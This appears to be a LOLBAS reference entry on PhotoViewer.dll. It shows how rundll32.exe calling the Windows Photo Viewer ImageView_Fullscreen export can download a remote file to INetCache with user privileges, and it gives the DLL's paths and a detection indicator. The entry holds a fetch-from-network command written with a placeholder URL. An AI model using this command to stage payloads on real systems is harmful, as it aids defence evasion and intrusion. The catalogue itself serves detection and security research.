LOLBAS. GitHub
LIVING OFF THE LAND / OS LIBRARIES

PhotoViewer.dll

View source

Windows Photo Viewer

Download
01COMMAND EXAMPLES
01ATT&CK TECHNIQUES
00DETECTION RESOURCES
01CAPABILITIES
01 / TRADECRAFT

Command reference

1 examples

Download1

EXAMPLE 01T1105

Once executed, rundll32.exe will download the file at the specified URL to the user's INetCache folder using the Windows Photo Viewer DLL.

COMMAND
rundll32.exe "C:\Program Files\Windows Photo Viewer\PhotoViewer.dll",ImageView_Fullscreen {REMOTEURL}
USE CASE
Download file from remote location.
PRIVILEGES
User
OPERATING SYSTEM
Windows 10, Windows 11
Download · INetCache
02 / ON DISK

Known paths

C:\Program Files\Windows Photo Viewer\PhotoViewer.dll
C:\Program Files (x86)\Windows Photo Viewer\PhotoViewer.dll
03 / DEFENSIVE INTELLIGENCE

Detection & indicators

0 resources

Indicators & detection notes

  • IOC

    Execution of rundll32.exe with 'ImageView_Fullscreen' and a remote URL (containing '://') as an argument

COMMUNITY RESEARCH

Acknowledgements

Avihay Eldad@avihayeldad
Tommy Warren